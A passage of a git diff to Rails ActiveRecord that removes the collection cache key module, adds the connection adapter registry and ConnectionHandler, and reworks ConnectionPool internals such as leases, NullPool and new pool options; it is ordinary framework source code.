         rescue ArgumentError
diff --git a/activerecord/lib/active_record/collection_cache_key.rb b/activerecord/lib/active_record/collection_cache_key.rb
deleted file mode 100644
index 43784b70e3ce4..0000000000000
--- a/activerecord/lib/active_record/collection_cache_key.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module ActiveRecord
-  module CollectionCacheKey
-    def collection_cache_key(collection = all, timestamp_column = :updated_at) # :nodoc:
-      query_signature = Digest::MD5.hexdigest(collection.to_sql)
-      key = "#{collection.model_name.cache_key}/query-#{query_signature}"
-
-      if collection.loaded?
-        size = collection.size
-        if size > 0
-          timestamp = collection.max_by(&timestamp_column).public_send(timestamp_column)
-        end
-      else
-        column_type = type_for_attribute(timestamp_column.to_s)
-        column = "#{connection.quote_table_name(collection.table_name)}.#{connection.quote_column_name(timestamp_column)}"
-
-        query = collection
-          .unscope(:select)
-          .select("COUNT(*) AS #{connection.quote_column_name("size")}", "MAX(#{column}) AS timestamp")
-          .unscope(:order)
-        result = connection.select_one(query)
-
-        if result.blank?
-          size = 0
-          timestamp = nil
-        else
-          size = result["size"]
-          timestamp = column_type.deserialize(result["timestamp"])
-        end
-
-      end
-
-      if timestamp
-        "#{key}-#{size}-#{timestamp.utc.to_s(cache_timestamp_format)}"
-      else
-        "#{key}-#{size}"
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters.rb b/activerecord/lib/active_record/connection_adapters.rb
new file mode 100644
index 0000000000000..c73f438b3c608
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+
+module ActiveRecord
+  module ConnectionAdapters
+    extend ActiveSupport::Autoload
+
+    @adapters = {}
+
+    class << self
+      # Registers a custom database adapter.
+      #
+      # Can also be used to define aliases.
+      #
+      # == Example
+      #
+      #   ActiveRecord::ConnectionAdapters.register("megadb", "MegaDB::ActiveRecordAdapter", "mega_db/active_record_adapter")
+      #
+      #   ActiveRecord::ConnectionAdapters.register("mysql", "ActiveRecord::ConnectionAdapters::TrilogyAdapter", "active_record/connection_adapters/trilogy_adapter")
+      #
+      def register(name, class_name, path = class_name.underscore)
+        @adapters[name.to_s] = [class_name, path]
+      end
+
+      def resolve(adapter_name) # :nodoc:
+        # Require the adapter itself and give useful feedback about
+        #   1. Missing adapter gems.
+        #   2. Incorrectly registered adapters.
+        #   3. Adapter gems' missing dependencies.
+        class_name, path_to_adapter = @adapters[adapter_name.to_s]
+
+        unless class_name
+          raise AdapterNotFound, <<~MSG.squish
+            Database configuration specifies nonexistent '#{adapter_name}' adapter.
+            Available adapters are: #{@adapters.keys.sort.join(", ")}.
+            Ensure that the adapter is spelled correctly in config/database.yml and that you've added the necessary
+            adapter gem to your Gemfile if it's not in the list of available adapters.
+          MSG
+        end
+
+        unless Object.const_defined?(class_name)
+          begin
+            require path_to_adapter
+          rescue LoadError => error
+            # We couldn't require the adapter itself.
+            if error.path == path_to_adapter
+              # We can assume here that a non-builtin adapter was specified and the path
+              # registered by the adapter gem is incorrect.
+              raise LoadError, "Error loading the '#{adapter_name}' Active Record adapter. Ensure that the path registered by the adapter gem is correct. #{error.message}", error.backtrace
+            else
+              # Bubbled up from the adapter require. Prefix the exception message
+              # with some guidance about how to address it and reraise.
+              raise LoadError, "Error loading the '#{adapter_name}' Active Record adapter. Missing a gem it depends on? #{error.message}", error.backtrace
+            end
+          end
+        end
+
+        begin
+          Object.const_get(class_name)
+        rescue NameError => error
+          raise AdapterNotFound, "Could not load the #{class_name} Active Record adapter (#{error.message})."
+        end
+      end
+    end
+
+    register "sqlite3", "ActiveRecord::ConnectionAdapters::SQLite3Adapter", "active_record/connection_adapters/sqlite3_adapter"
+    register "mysql2", "ActiveRecord::ConnectionAdapters::Mysql2Adapter", "active_record/connection_adapters/mysql2_adapter"
+    register "trilogy", "ActiveRecord::ConnectionAdapters::TrilogyAdapter", "active_record/connection_adapters/trilogy_adapter"
+    register "postgresql", "ActiveRecord::ConnectionAdapters::PostgreSQLAdapter", "active_record/connection_adapters/postgresql_adapter"
+
+    eager_autoload do
+      autoload :AbstractAdapter
+    end
+
+    autoload :Column
+    autoload :PoolConfig
+    autoload :PoolManager
+    autoload :QueryIntent
+    autoload :SchemaCache
+    autoload :BoundSchemaReflection, "active_record/connection_adapters/schema_cache"
+    autoload :SchemaReflection, "active_record/connection_adapters/schema_cache"
+    autoload :Deduplicable
+
+    autoload_at "active_record/connection_adapters/abstract/schema_definitions" do
+      autoload :IndexDefinition
+      autoload :ColumnDefinition
+      autoload :ColumnMethods
+      autoload :ChangeColumnDefinition
+      autoload :ChangeColumnDefaultDefinition
+      autoload :ForeignKeyDefinition
+      autoload :CheckConstraintDefinition
+      autoload :TableDefinition
+      autoload :Table
+      autoload :AlterTable
+      autoload :ReferenceDefinition
+    end
+
+    autoload_under "abstract" do
+      autoload :SchemaStatements
+      autoload :DatabaseStatements
+      autoload :DatabaseLimits
+      autoload :Quoting
+      autoload :ConnectionHandler
+      autoload :QueryCache
+      autoload :Savepoints
+    end
+
+    autoload_at "active_record/connection_adapters/abstract/connection_pool" do
+      autoload :ConnectionPool
+      autoload :NullPool
+    end
+
+    autoload_at "active_record/connection_adapters/abstract/transaction" do
+      autoload :TransactionManager
+      autoload :NullTransaction
+      autoload :RealTransaction
+      autoload :SavepointTransaction
+      autoload :TransactionState
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb
new file mode 100644
index 0000000000000..7f58292c8be49
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb
@@ -0,0 +1,291 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+
+module ActiveRecord
+  module ConnectionAdapters
+    # = Active Record Connection Handler
+    #
+    # ConnectionHandler is a collection of ConnectionPool objects. It is used
+    # for keeping separate connection pools that connect to different databases.
+    #
+    # For example, suppose that you have 5 models, with the following hierarchy:
+    #
+    #   class Author < ActiveRecord::Base
+    #   end
+    #
+    #   class BankAccount < ActiveRecord::Base
+    #   end
+    #
+    #   class Book < ActiveRecord::Base
+    #     establish_connection :library_db
+    #   end
+    #
+    #   class ScaryBook < Book
+    #   end
+    #
+    #   class GoodBook < Book
+    #   end
+    #
+    # And a database.yml that looked like this:
+    #
+    #   development:
+    #     database: my_application
+    #     host: localhost
+    #
+    #   library_db:
+    #     database: library
+    #     host: some.library.org
+    #
+    # Your primary database in the development environment is "my_application"
+    # but the Book model connects to a separate database called "library_db"
+    # (this can even be a database on a different machine).
+    #
+    # Book, ScaryBook, and GoodBook will all use the same connection pool to
+    # "library_db" while Author, BankAccount, and any other models you create
+    # will use the default connection pool to "my_application".
+    #
+    # The various connection pools are managed by a single instance of
+    # ConnectionHandler accessible via ActiveRecord::Base.connection_handler.
+    # All Active Record models use this handler to determine the connection pool that they
+    # should use.
+    #
+    # The ConnectionHandler class is not coupled with the Active models, as it has no knowledge
+    # about the model. The model needs to pass a connection specification name to the handler,
+    # in order to look up the correct connection pool.
+    class ConnectionHandler
+      class ConnectionDescriptor # :nodoc:
+        def initialize(name, primary = false)
+          @name = name
+          @primary = primary
+        end
+
+        def name
+          primary_class? ? "ActiveRecord::Base" : @name
+        end
+
+        def primary_class?
+          @primary
+        end
+
+        def current_preventing_writes
+          ActiveRecord::Base.preventing_writes?(@name)
+        end
+      end
+
+      def initialize
+        # These caches are keyed by pool_config.connection_name (PoolConfig#connection_name).
+        @connection_name_to_pool_manager = Concurrent::Map.new(initial_capacity: 2)
+      end
+
+      def prevent_writes # :nodoc:
+        ActiveSupport::IsolatedExecutionState[:active_record_prevent_writes]
+      end
+
+      def prevent_writes=(prevent_writes) # :nodoc:
+        ActiveSupport::IsolatedExecutionState[:active_record_prevent_writes] = prevent_writes
+      end
+
+      def connection_pool_names # :nodoc:
+        connection_name_to_pool_manager.keys
+      end
+
+      # Returns the pools for a connection handler and given role. If +:all+ is passed,
+      # all pools belonging to the connection handler will be returned.
+      def connection_pool_list(role = nil)
+        if role.nil? || role == :all
+          connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs.map(&:pool) }
+        else
+          connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs(role).map(&:pool) }
+        end
+      end
+      alias :connection_pools :connection_pool_list
+
+      def each_connection_pool(role = nil, &block) # :nodoc:
+        role = nil if role == :all
+        return enum_for(__method__, role) unless block_given?
+
+        connection_name_to_pool_manager.each_value do |manager|
+          manager.each_pool_config(role) do |pool_config|
+            yield pool_config.pool
+          end
+        end
+      end
+
+      def establish_connection(config, owner_name: Base, role: Base.current_role, shard: Base.current_shard, clobber: false)
+        owner_name = determine_owner_name(owner_name, config)
+
+        pool_config = resolve_pool_config(config, owner_name, role, shard)
+        db_config = pool_config.db_config
+
+        pool_manager = set_pool_manager(pool_config.connection_descriptor)
+
+        # If there is an existing pool with the same values as the pool_config
+        # don't remove the connection. Connections should only be removed if we are
+        # establishing a connection on a class that is already connected to a different
+        # configuration.
+        existing_pool_config = pool_manager.get_pool_config(role, shard)
+
+        if !clobber && existing_pool_config && existing_pool_config.db_config == db_config
+          # Update the pool_config's connection class if it differs. This is used
+          # for ensuring that ActiveRecord::Base and the primary_abstract_class use
+          # the same pool. Without this granular swapping will not work correctly.
+          if owner_name.primary_class? && (existing_pool_config.connection_descriptor != owner_name)
+            existing_pool_config.connection_descriptor = owner_name
+          end
+
+          existing_pool_config.pool
+        else
+          disconnect_pool_from_pool_manager(pool_manager, role, shard)
+          pool_manager.set_pool_config(role, shard, pool_config)
+
+          payload = {
+            connection_name: pool_config.connection_descriptor.name,
+            role: role,
+            shard: shard,
+            config: db_config.configuration_hash
+          }
+
+          ActiveSupport::Notifications.instrumenter.instrument("!connection.active_record", payload) do
+            pool_config.pool
+          end
+        end
+      end
+
+      # Returns true if there are any active connections among the connection
+      # pools that the ConnectionHandler is managing.
+      def active_connections?(role = nil)
+        each_connection_pool(role).any?(&:active_connection?)
+      end
+
+      # Returns any connections in use by the current thread back to the pool.
+      def clear_active_connections!(role = nil)
+        each_connection_pool(role).each do |pool|
+          pool.release_connection
+          pool.disable_query_cache!
+        end
+      end
+
+      # Clears reloadable connection caches in all connection pools.
+      #
+      # See ConnectionPool#clear_reloadable_connections! for details.
+      def clear_reloadable_connections!(role = nil)
+        each_connection_pool(role).each(&:clear_reloadable_connections!)
+      end
+
+      def clear_all_connections!(role = nil)
+        each_connection_pool(role).each(&:disconnect!)
+      end
+
+      # Disconnects all currently idle connections.
+      #
+      # See ConnectionPool#flush! for details.
+      def flush_idle_connections!(role = nil)
+        each_connection_pool(role).each(&:flush!)
+      end
+
+      # Locate the connection of the nearest super class. This can be an
+      # active or defined connection: if it is the latter, it will be
+      # opened and set as the active connection for the class it was defined
+      # for (not necessarily the current class).
+      def retrieve_connection(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard) # :nodoc:
+        pool = retrieve_connection_pool(connection_name, role: role, shard: shard, strict: true)
+        pool.lease_connection
+      end
+
+      # Returns true if a connection that's accessible to this class has
+      # already been opened.
+      def connected?(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard)
+        pool = retrieve_connection_pool(connection_name, role: role, shard: shard)
+        pool && pool.connected?
+      end
+
+      def remove_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard)
+        if pool_manager = get_pool_manager(connection_name)
+          disconnect_pool_from_pool_manager(pool_manager, role, shard)
+        end
+      end
+
+      # Retrieving the connection pool happens a lot, so we cache it in @connection_name_to_pool_manager.
+      # This makes retrieving the connection pool O(1) once the process is warm.
+      # When a connection is established or removed, we invalidate the cache.
+      def retrieve_connection_pool(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard, strict: false)
+        pool_manager = get_pool_manager(connection_name)
+        pool = pool_manager&.get_pool_config(role, shard)&.pool
+
+        if strict && !pool
+          selector = [
+            ("'#{shard}' shard" unless shard == ActiveRecord::Base.default_shard),
+            ("'#{role}' role" unless role == ActiveRecord::Base.default_role),
+          ].compact.join(" and ")
+
+          selector = [
+            (connection_name unless connection_name == "ActiveRecord::Base"),
+            selector.presence,
+          ].compact.join(" with ")
+
+          selector = " for #{selector}" if selector.present?
+
+          message = "No database connection defined#{selector}."
+
+          raise ConnectionNotDefined.new(message, connection_name: connection_name, shard: shard, role: role)
+        end
+
+        pool
+      end
+
+      private
+        attr_reader :connection_name_to_pool_manager
+
+        # Returns the pool manager for a connection name / identifier.
+        def get_pool_manager(connection_name)
+          connection_name_to_pool_manager[connection_name]
+        end
+
+        # Get the existing pool manager or initialize and assign a new one.
+        def set_pool_manager(connection_descriptor)
+          connection_name_to_pool_manager[connection_descriptor.name] ||= PoolManager.new
+        end
+
+        def pool_managers
+          connection_name_to_pool_manager.values
+        end
+
+        def disconnect_pool_from_pool_manager(pool_manager, role, shard)
+          pool_config = pool_manager.remove_pool_config(role, shard)
+
+          if pool_config
+            pool_config.disconnect!
+            pool_config.db_config
+          end
+        end
+
+        # Returns an instance of PoolConfig for a given adapter.
+        # Accepts a hash one layer deep that contains all connection information.
+        #
+        # == Example
+        #
+        #   config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   pool_config = Base.configurations.resolve_pool_config(:production)
+        #   pool_config.db_config.configuration_hash
+        #   # => { host: "localhost", database: "foo", adapter: "sqlite3" }
+        #
+        def resolve_pool_config(config, connection_name, role, shard)
+          db_config = Base.configurations.resolve(config)
+          db_config.validate!
+          raise(AdapterNotSpecified, "database configuration does not specify adapter") unless db_config.adapter
+          ConnectionAdapters::PoolConfig.new(connection_name, db_config, role, shard)
+        end
+
+        def determine_owner_name(owner_name, config)
+          if owner_name.is_a?(String) || owner_name.is_a?(Symbol)
+            ConnectionDescriptor.new(owner_name.to_s)
+          elsif config.is_a?(Symbol)
+            ConnectionDescriptor.new(config.to_s)
+          else
+            owner_name
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index ce4721c99d50d..6cf89f332d347 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -1,22 +1,58 @@
-require "thread"
+# frozen_string_literal: true
+
 require "concurrent/map"
 require "monitor"
 
+require "active_record/connection_adapters/abstract/connection_pool/queue"
+require "active_record/connection_adapters/abstract/connection_pool/reaper"
+
 module ActiveRecord
-  # Raised when a connection could not be obtained within the connection
-  # acquisition timeout period: because max connections in pool
-  # are in use.
-  class ConnectionTimeoutError < ConnectionNotEstablished
-  end
+  module ConnectionAdapters
+    class NullPool # :nodoc:
+      class NullConfig
+        def method_missing(...)
+          nil
+        end
+      end
+      NULL_CONFIG = NullConfig.new
 
-  # Raised when a pool was unable to get ahold of all its connections
-  # to perform a "group" action such as
-  # {ActiveRecord::Base.connection_pool.disconnect!}[rdoc-ref:ConnectionAdapters::ConnectionPool#disconnect!]
-  # or {ActiveRecord::Base.clear_reloadable_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_reloadable_connections!].
-  class ExclusiveConnectionTimeoutError < ConnectionTimeoutError
-  end
+      def initialize
+        super()
+        @mutex = Mutex.new
+        @server_version = nil
+      end
 
-  module ConnectionAdapters
+      def server_version(connection) # :nodoc:
+        @server_version || @mutex.synchronize { @server_version ||= connection.get_database_version }
+      end
+
+      def schema_reflection
+        SchemaReflection.new(nil)
+      end
+
+      def schema_cache; end
+      def query_cache; end
+      def connection_descriptor; end
+      def checkin(_); end
+      def remove(_); end
+      def async_executor; end
+
+      def db_config
+        NULL_CONFIG
+      end
+
+      def dirties_query_cache
+        true
+      end
+
+      def pool_transaction_isolation_level; end
+      def pool_transaction_isolation_level=(isolation_level)
+        raise NotImplementedError, "This method should never be called"
+      end
+    end
+
+    # = Active Record Connection Pool
+    #
     # Connection pool base class for managing Active Record database
     # connections.
     #
@@ -31,19 +67,17 @@ module ConnectionAdapters
     # handle cases in which there are more threads than connections: if all
     # connections have been checked out, and a thread tries to checkout a
     # connection anyway, then ConnectionPool will wait until some other thread
-    # has checked in a connection.
+    # has checked in a connection, or the +checkout_timeout+ has expired.
     #
     # == Obtaining (checking out) a connection
     #
     # Connections can be obtained and used from a connection pool in several
     # ways:
     #
-    # 1. Simply use {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling.connection]
-    #    as with Active Record 2.1 and
-    #    earlier (pre-connection-pooling). Eventually, when you're done with
-    #    the connection(s) and wish it to be returned to the pool, you call
-    #    {ActiveRecord::Base.clear_active_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_active_connections!].
-    #    This will be the default behavior for Active Record when used in conjunction with
+    # 1. Simply use {ActiveRecord::Base.lease_connection}[rdoc-ref:ConnectionHandling#lease_connection].
+    #    When you're done with the connection(s) and wish it to be returned to the pool, you call
+    #    {ActiveRecord::Base.connection_handler.clear_active_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_active_connections!].
+    #    This is the default behavior for Active Record when used in conjunction with
     #    Action Pack's request handling cycle.
     # 2. Manually check out a connection from the pool with
     #    {ActiveRecord::Base.connection_pool.checkout}[rdoc-ref:#checkout]. You are responsible for
@@ -56,20 +90,32 @@ module ConnectionAdapters
     # Connections in the pool are actually AbstractAdapter objects (or objects
     # compatible with AbstractAdapter's interface).
     #
+    # While a thread has a connection checked out from the pool using one of the
+    # above three methods, that connection will automatically be the one used
+    # by ActiveRecord queries executing on that thread. It is not required to
+    # explicitly pass the checked out connection to \Rails models or queries, for
+    # example.
+    #
     # == Options
     #
     # There are several connection-pooling-related options that you can add to
     # your database connection configuration:
     #
-    # * +pool+: number indicating size of connection pool (default 5)
-    # * +checkout_timeout+: number of seconds to block and wait for a connection
-    #   before giving up and raising a timeout error (default 5 seconds).
-    # * +reaping_frequency+: frequency in seconds to periodically run the
-    #   Reaper, which attempts to find and recover connections from dead
-    #   threads, which can occur if a programmer forgets to close a
-    #   connection at the end of a thread or a thread dies unexpectedly.
-    #   Regardless of this setting, the Reaper will be invoked before every
-    #   blocking wait. (Default +nil+, which means don't schedule the Reaper).
+    # * +checkout_timeout+: number of seconds to wait for a connection to
+    #   become available before giving up and raising a timeout error (default
+    #   5 seconds).
+    # * +idle_timeout+: number of seconds that a connection will be kept
+    #   unused in the pool before it is automatically disconnected (default
+    #   300 seconds). Set this to zero to keep connections forever.
+    # * +keepalive+: number of seconds between keepalive checks if the
+    #   connection has been idle (default 600 seconds).
+    # * +max_age+: number of seconds the pool will allow the connection to
+    #   exist before retiring it at next checkin. (default Float::INFINITY).
+    # * +max_connections+: maximum number of connections the pool may manage (default 5).
+    #   Set to +nil+ or -1 for unlimited connections.
+    # * +min_connections+: minimum number of connections the pool will open and maintain (default 0).
+    # * +pool_jitter+: maximum reduction factor to apply to +max_age+ and
+    #   +keepalive+ intervals (default 0.2; range 0.0-1.0).
     #
     #--
     # Synchronization policy:
@@ -77,270 +123,157 @@ module ConnectionAdapters
     # * access to these instance variables needs to be in +synchronize+:
     #   * @connections
     #   * @now_connecting
+    #   * @maintaining
     # * private methods that require being called in a +synchronize+ blocks
     #   are now explicitly documented
     class ConnectionPool
-      # Threadsafe, fair, FIFO queue.  Meant to be used by ConnectionPool
-      # with which it shares a Monitor.  But could be a generic Queue.
-      #
-      # The Queue in stdlib's 'thread' could replace this class except
-      # stdlib's doesn't support waiting with a timeout.
-      class Queue
-        def initialize(lock = Monitor.new)
-          @lock = lock
-          @cond = @lock.new_cond
-          @num_waiting = 0
-          @queue = []
-        end
-
-        # Test if any threads are currently waiting on the queue.
-        def any_waiting?
-          synchronize do
-            @num_waiting > 0
+      # Prior to 3.3.5, WeakKeyMap had a use after free bug
+      # https://bugs.ruby-lang.org/issues/20688
+      if ObjectSpace.const_defined?(:WeakKeyMap) && RUBY_VERSION >= "3.3.5"
+        WeakThreadKeyMap = ObjectSpace::WeakKeyMap
+      else
+        class WeakThreadKeyMap # :nodoc:
+          # FIXME: On 3.3 we could use ObjectSpace::WeakKeyMap
+          # but it currently causes GC crashes: https://github.com/byroot/rails/pull/3
+          def initialize
+            @map = {}
           end
-        end
 
-        # Returns the number of threads currently waiting on this
-        # queue.
-        def num_waiting
-          synchronize do
-            @num_waiting
+          def clear
+            @map.clear
           end
-        end
 
-        # Add +element+ to the queue.  Never blocks.
-        def add(element)
-          synchronize do
-            @queue.push element
-            @cond.signal
+          def [](key)
+            @map[key]
           end
-        end
 
-        # If +element+ is in the queue, remove and return it, or +nil+.
-        def delete(element)
-          synchronize do
-            @queue.delete(element)
+          def []=(key, value)
+            @map.select! { |c, _| c&.alive? }
+            @map[key] = value
           end
         end
+      end
 
-        # Remove all elements from the queue.
-        def clear
-          synchronize do
-            @queue.clear
-          end
-        end
+      class Lease # :nodoc:
+        attr_accessor :connection, :sticky
 
-        # Remove the head of the queue.
-        #
-        # If +timeout+ is not given, remove and return the head the
-        # queue if the number of available elements is strictly
-        # greater than the number of threads currently waiting (that
-        # is, don't jump ahead in line).  Otherwise, return +nil+.
-        #
-        # If +timeout+ is given, block if there is no element
-        # available, waiting up to +timeout+ seconds for an element to
-        # become available.
-        #
-        # Raises:
-        # - ActiveRecord::ConnectionTimeoutError if +timeout+ is given and no element
-        # becomes available within +timeout+ seconds,
-        def poll(timeout = nil)
-          synchronize { internal_poll(timeout) }
+        def initialize
+          @connection = nil
+          @sticky = nil
         end
 
-        private
-
-          def internal_poll(timeout)
-            no_wait_poll || (timeout && wait_poll(timeout))
-          end
-
-          def synchronize(&block)
-            @lock.synchronize(&block)
-          end
+        def release
+          conn = @connection
+          @connection = nil
+          @sticky = nil
+          conn
+        end
 
-          # Test if the queue currently contains any elements.
-          def any?
-            !@queue.empty?
+        def clear(connection)
+          if @connection == connection
+            @connection = nil
+            @sticky = nil
+            true
+          else
+            false
           end
+        end
+      end
 
-          # A thread can remove an element from the queue without
-          # waiting if and only if the number of currently available
-          # connections is strictly greater than the number of waiting
-          # threads.
-          def can_remove_no_wait?
-            @queue.size > @num_waiting
+      if RUBY_ENGINE == "ruby"
+        # Thanks to the GVL, the LeaseRegistry doesn't need to be synchronized on MRI
+        class LeaseRegistry < WeakThreadKeyMap # :nodoc:
+          def [](context)
+            super || (self[context] = Lease.new)
           end
-
-          # Removes and returns the head of the queue if possible, or +nil+.
-          def remove
-            @queue.shift
+        end
+      else
+        class LeaseRegistry # :nodoc:
+          def initialize
+            @mutex = Mutex.new
+            @map = WeakThreadKeyMap.new
           end
 
-          # Remove and return the head the queue if the number of
-          # available elements is strictly greater than the number of
-          # threads currently waiting.  Otherwise, return +nil+.
-          def no_wait_poll
-            remove if can_remove_no_wait?
+          def [](context)
+            @mutex.synchronize do
+              @map[context] ||= Lease.new
+            end
           end
 
-          # Waits on the queue up to +timeout+ seconds, then removes and
-          # returns the head of the queue.
-          def wait_poll(timeout)
-            @num_waiting += 1
-
-            t0 = Time.now
-            elapsed = 0
-            loop do
-              @cond.wait(timeout - elapsed)
-
-              return remove if any?
-
-              elapsed = Time.now - t0
-              if elapsed >= timeout
-                msg = "could not obtain a connection from the pool within %0.3f seconds (waited %0.3f seconds); all pooled connections were in use" %
-                  [timeout, elapsed]
-                raise ConnectionTimeoutError, msg
-              end
+          def clear
+            @mutex.synchronize do
+              @map.clear
             end
-          ensure
-            @num_waiting -= 1
           end
+        end
       end
 
-      # Adds the ability to turn a basic fair FIFO queue into one
-      # biased to some thread.
-      module BiasableQueue # :nodoc:
-        class BiasedConditionVariable # :nodoc:
-          # semantics of condition variables guarantee that +broadcast+, +broadcast_on_biased+,
-          # +signal+ and +wait+ methods are only called while holding a lock
-          def initialize(lock, other_cond, preferred_thread)
-            @real_cond = lock.new_cond
-            @other_cond = other_cond
-            @preferred_thread = preferred_thread
-            @num_waiting_on_real_cond = 0
-          end
-
-          def broadcast
-            broadcast_on_biased
-            @other_cond.broadcast
-          end
-
-          def broadcast_on_biased
-            @num_waiting_on_real_cond = 0
-            @real_cond.broadcast
-          end
-
-          def signal
-            if @num_waiting_on_real_cond > 0
-              @num_waiting_on_real_cond -= 1
-              @real_cond
-            else
-              @other_cond
-            end.signal
-          end
-
-          def wait(timeout)
-            if Thread.current == @preferred_thread
-              @num_waiting_on_real_cond += 1
-              @real_cond
-            else
-              @other_cond
-            end.wait(timeout)
+      module ExecutorHooks # :nodoc:
+        class << self
+          def run
+            # noop
           end
-        end
 
-        def with_a_bias_for(thread)
-          previous_cond = nil
-          new_cond      = nil
-          synchronize do
-            previous_cond = @cond
-            @cond = new_cond = BiasedConditionVariable.new(@lock, @cond, thread)
-          end
-          yield
-        ensure
-          synchronize do
-            @cond = previous_cond if previous_cond
-            new_cond.broadcast_on_biased if new_cond # wake up any remaining sleepers
+          def complete(_)
+            ActiveRecord::Base.connection_handler.each_connection_pool do |pool|
+              if (connection = pool.active_connection?)
+                transaction = connection.current_transaction
+                if transaction.closed? || !transaction.joinable?
+                  pool.release_connection
+                end
+              end
+            end
           end
         end
       end
 
-      # Connections must be leased while holding the main pool mutex. This is
-      # an internal subclass that also +.leases+ returned connections while
-      # still in queue's critical section (queue synchronizes with the same
-      # +@lock+ as the main pool) so that a returned connection is already
-      # leased and there is no need to re-enter synchronized block.
-      class ConnectionLeasingQueue < Queue # :nodoc:
-        include BiasableQueue
-
-        private
-          def internal_poll(timeout)
-            conn = super
-            conn.lease if conn
-            conn
-          end
-      end
-
-      # Every +frequency+ seconds, the reaper will call +reap+ on +pool+.
-      # A reaper instantiated with a +nil+ frequency will never reap the
-      # connection pool.
-      #
-      # Configure the frequency by setting "reaping_frequency" in your
-      # database yaml file.
-      class Reaper
-        attr_reader :pool, :frequency
-
-        def initialize(pool, frequency)
-          @pool      = pool
-          @frequency = frequency
-        end
-
-        def run
-          return unless frequency
-          Thread.new(frequency, pool) { |t, p|
-            loop do
-              sleep t
-              p.reap
-            end
-          }
+      class << self
+        def install_executor_hooks(executor = ActiveSupport::Executor)
+          executor.register_hook(ExecutorHooks)
         end
       end
 
       include MonitorMixin
-      include QueryCache::ConnectionPoolConfiguration
+      prepend QueryCache::ConnectionPoolConfiguration
+
+      attr_accessor :automatic_reconnect, :checkout_timeout
+      attr_reader :db_config, :max_connections, :min_connections, :max_age, :keepalive, :reaper, :pool_config, :async_executor, :role, :shard
+      alias :size :max_connections
 
-      attr_accessor :automatic_reconnect, :checkout_timeout, :schema_cache
-      attr_reader :spec, :connections, :size, :reaper
+      delegate :schema_reflection, :server_version, to: :pool_config
 
-      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
+      # Creates a new ConnectionPool object. +pool_config+ is a PoolConfig
       # object which describes database connection information (e.g. adapter,
       # host name, username, password, etc), as well as the maximum size for
       # this ConnectionPool.
       #
       # The default ConnectionPool maximum size is 5.
-      def initialize(spec)
+      def initialize(pool_config)
         super()
 
-        @spec = spec
+        @pool_config = pool_config
+        @db_config = pool_config.db_config
+        @role = pool_config.role
+        @shard = pool_config.shard
 
-        @checkout_timeout = (spec.config[:checkout_timeout] && spec.config[:checkout_timeout].to_f) || 5
-        @reaper = Reaper.new(self, (spec.config[:reaping_frequency] && spec.config[:reaping_frequency].to_f))
-        @reaper.run
-
-        # default max pool size to 5
-        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+        @checkout_timeout = db_config.checkout_timeout
+        @idle_timeout = db_config.idle_timeout
+        @max_connections = db_config.max_connections
+        @min_connections = db_config.min_connections
+        @max_age = db_config.max_age
+        @keepalive = db_config.keepalive
 
         # This variable tracks the cache of threads mapped to reserved connections, with the
         # sole purpose of speeding up the +connection+ method. It is not the authoritative
         # registry of which thread owns which connection. Connection ownership is tracked by
         # the +connection.owner+ attr on each +connection+ instance.
         # The invariant works like this: if there is mapping of <tt>thread => conn</tt>,
-        # then that +thread+ does indeed own that +conn+. However, an absence of a such
+        # then that +thread+ does indeed own that +conn+. However, an absence of such
         # mapping does not mean that the +thread+ doesn't own the said connection. In
         # that case +conn.owner+ attr should be consulted.
-        # Access and modification of +@thread_cached_conns+ does not require
+        # Access and modification of <tt>@leases</tt> does not require
         # synchronization.
-        @thread_cached_conns = Concurrent::Map.new(initial_capacity: @size)
+        @leases = LeaseRegistry.new
 
         @connections         = []
         @automatic_reconnect = true
@@ -350,59 +283,227 @@ def initialize(spec)
         # currently in the process of independently establishing connections to the DB.
         @now_connecting = 0
 
+        # Sometimes otherwise-idle connections are temporarily held by the Reaper for
+        # maintenance. This variable tracks the number of connections currently in that
+        # state -- if a thread requests a connection and there are none available, it
+        # will await any in-maintenance connections in preference to creating a new one.
+        @maintaining = 0
+
         @threads_blocking_new_connections = 0
 
         @available = ConnectionLeasingQueue.new self
+        @pinned_connection = nil
+        @pinned_connections_depth = 0
+
+        @async_executor = build_async_executor
+
+        @schema_cache = nil
+
+        @activated = false
+        @original_context = ActiveSupport::IsolatedExecutionState.context
+
+        @reaper_lock = Monitor.new
+        @reaper = Reaper.new(self, db_config.reaping_frequency)
+        @reaper.run
+      end
+
+      def inspect # :nodoc:
+        name_field = " name=#{name_inspect}" if name_inspect
+        shard_field = " shard=#{shard_inspect}" if shard_inspect
+
+        "#<#{self.class.name} env_name=#{db_config.env_name.inspect}#{name_field} role=#{role.inspect}#{shard_field}>"
+      end
+
+      def schema_cache
+        @schema_cache ||= BoundSchemaReflection.new(schema_reflection, self)
+      end
+
+      def schema_reflection=(schema_reflection)
+        pool_config.schema_reflection = schema_reflection
+        @schema_cache = nil
+      end
+
+      def migration_context # :nodoc:
